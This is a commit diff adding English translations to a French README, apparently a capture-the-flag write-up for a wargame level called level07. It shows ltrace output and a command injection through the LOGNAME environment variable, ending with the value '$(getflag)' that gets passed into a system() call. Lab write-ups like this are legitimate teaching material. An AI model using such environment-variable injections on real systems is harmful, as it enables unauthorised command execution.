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docs(lvl07): adding the english readme

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Raphael 2026-01-29 12:53:43 +01:00
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rparodi/level07/README.md
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@ -1,8 +1,8 @@
Lors de mon arriver sur le level07 je fait un petit check des fichiers When arriving on level07 I do a small check of the files.
Je vois un level07 qui est un executable I see a level07 which is an executable.
Je commence par faire un petit ltrace (pour regarder les librairies appeler) I start by doing a small ltrace (to look at the libraries called).
```c ```c
ltrace ./level07 ltrace ./level07
@ -20,7 +20,7 @@ system("/bin/echo level07 "level07
+++ exited (status 0) +++ +++ exited (status 0) +++
``` ```
Et je remarque que getenv et appeler sur LOGNAME je tente donc une modification et: And I notice that getenv is called on LOGNAME so I therefore try a modification and:
```bash ```bash
export LOGNAME='hello' export LOGNAME='hello'
@ -29,7 +29,7 @@ export LOGNAME='hello'
hello hello
``` ```
Mais il est donc egallement possible d'executer des commandes But it is therefore also possible to execute commands.
```bash ```bash
export LOGNAME='$(echo hello)' export LOGNAME='$(echo hello)'
@ -37,7 +37,7 @@ export LOGNAME='$(echo hello)'
hello hello
``` ```
Donc forcement il est possible de lancer getflag So necessarily it is possible to launch getflag.
```bash ```bash
export LOGNAME='$(getflag)' export LOGNAME='$(getflag)'